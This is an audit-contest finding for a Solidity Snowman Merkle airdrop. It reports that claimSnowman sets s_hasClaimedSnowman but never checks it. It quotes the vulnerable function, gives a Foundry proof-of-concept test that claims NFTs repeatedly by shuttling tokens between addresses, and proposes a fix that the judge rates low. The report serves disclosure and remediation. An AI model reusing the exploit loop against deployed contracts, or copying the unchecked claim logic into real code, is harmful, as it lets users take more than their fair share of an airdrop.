Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: low
Valid

Unchecked `s_hasClaimedSnowman` mapping allows same reciever to claim NFT multiple times.

Summary

A missing validation check in the SnowmanAirdrop:claimSnowman function allows users to repeatedly claim NFTs violating the intended "one-claim-per-user" logic. This is possible by transferring eligible tokens between addresses (receipient and holding address) to circumvent the behaviour of the claimSnowman which drains a claiming account of Snow Tokens.

Description

The SnowmanAirdrop:claimSnowman function is designed to allow a user to claim a Snowman NFT once if they hold a balance of snow tokens. However, the function does not check whether the user has already claimed an NFT using the s_hasClaimedSnowman mapping, despite setting this flag as "true" after a successful claim.

To make sure their claim is valid, they must maintain the same amount of tokens in their recipient address at the time the Merkle tree was created. Due to the claimSnowman functions behaviour which transfers a users/claimers entire token balance into the SnowmanAirdrop contract, to circumvent this, a user can

  1. hold other snow tokens in another address

  2. after each claim, transfer the required snow tokens into the claiming address account and obtain another NFT.

Affected Areas

The vulnerable function is shown below:

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {//info: checking the claimer holds snow tokens.
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) { //info: checking if the signature is valid
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); // -> merle validation starts now
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { //info: using OZ library
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount); // send tokens to contract... akin to burning
s_hasClaimedSnowman[receiver] = true; //@audit: set here but no logic to validate in function
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount); //minting the snowman
}

Impact

This issue has:

  • Impact: High - this breaks the protocol in terms of 1-claim-per-user. Furthermore, the logic seems to be attempted to be implemented but has been done so incorrectly. This flawed function allows users to obtain more than 1 snowman NFT.

  • Likelihood: Medium - the only requirement to exploit this is a financial investment in order to buy snow tokens. Once the initial investment has been made, the exploitation is straight-forward.

Proof of Concept

To prove the validity of this issue, I have created the below PoC

Description

  1. Alice identifies the SnowmanAirdrop contract does not check if the receiver has already claimed a Snowman NFT.

  2. She identifies that any tokens she holds will be transferred into the SnowmanAirdrop contract therefore she sets up a new address and buys 10 snow tokens.

  3. With a token balance of 1, her first NFT is claimed and the token balance is transferred into the SnowmanAirdrop contract.

  4. She then transfers a token from her new address into her main address where she claims another Snowman NFT

  5. The process is repeated until she has 10 snow tokens.

Code

Run with: forge test --mt testUnimplementedClaimGetMultipleNFTs -vvv

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "src/Snow.sol";
import {Snowman} from "src/Snowman.sol";
import {SnowmanAirdrop} from "src/SnowmanAirdrop.sol";
import {MockWETH} from "src/mock/MockWETH.sol";
import {Helper} from "script/Helper.s.sol";
contract TestSnowmanAirdrop is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
Helper deployer;
bytes32 public ROOT = 0xc0b6787abae0a5066bc2d09eaec944c58119dc18be796e93de5b2bf9f80ea79a;
// Proofs
bytes32 alProofA = 0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
bytes32 alProofB = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
bytes32 alProofC = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32[] AL_PROOF = [alProofA, alProofB, alProofC];
// Multi claimers and key
address alice;
uint256 alKey;
address aliceOtherAddress = makeAddr("aliceOtherAddress");
//Gas Payer
address satoshi;
function setUp() public {
deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
(alice, alKey) = makeAddrAndKey("alice");
satoshi = makeAddr("gas_payer");
vm.deal(aliceOtherAddress, 100 ether);
}
function testUnimplementedClaimGetMultipleNFTs() public {
//Confirming alice has one snow token and 0 Snowman NFTs
assert(snow.balanceOf(alice) == 1);
assert(nft.balanceOf(alice) == 0);
//Setup: Another user obtaining tokens
vm.startPrank(aliceOtherAddress);
uint256 fee = snow.s_buyFee();
uint256 amountToBuy = 10;
snow.buySnow{value: amountToBuy * fee}(amountToBuy);
assertEq(snow.balanceOf(aliceOtherAddress), amountToBuy);
vm.stopPrank();
//Alice: Creating Signature
vm.prank(alice);
snow.approve(address(airdrop), 1);
//Alice: Geting alice's digest
bytes32 alDigest = airdrop.getMessageHash(alice);
//Alice: signing a message for satoshi to use
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest);
// Satoshi calls claims on behalf of alice using her signed message and alice gets 1 NFT
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
//Unimplemented `hasClaimed` check
//Another User sends tokens to alice and Alice claims token again
while (snow.balanceOf(aliceOtherAddress) != 0) {
vm.prank(aliceOtherAddress);
snow.transfer(alice, 1);
vm.prank(alice);
snow.approve(address(airdrop), 1);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
}
console2.log("Alice's Snow token balance: ", snow.balanceOf(aliceOtherAddress));
console2.log("NFTs Alice Owns: ", nft.balanceOf(alice));
}
}

Mitigation

The recommended mitigation for this issue is to enforce a check on the s_hasClaimedSnowman mapping each time the function is called.

This can be implemented like-so:

/// >>> ERRORS
error SA__InvalidSignature(); // Thrown when the provided ECDSA signature is invalid
error SA__ZeroAddress();
error SA__ZeroAmount();
+ error SA_NFTAlreadyClaimed();
//Check `s_hasClaimedSnowman` with custom error
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
+ if(s_hasClaimedSnowman[receiver]){
+ revert SA_NFTAlreadyClaimed();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); // -> merle validation starts now
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount); // send tokens to contract... akin to burning
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount); //minting the snowman
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of claim check

The claim function of the Snowman Airdrop contract doesn't check that a recipient has already claimed a Snowman. This poses no significant risk as is as farming period must have been long concluded before snapshot, creation of merkle script, and finally claiming.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.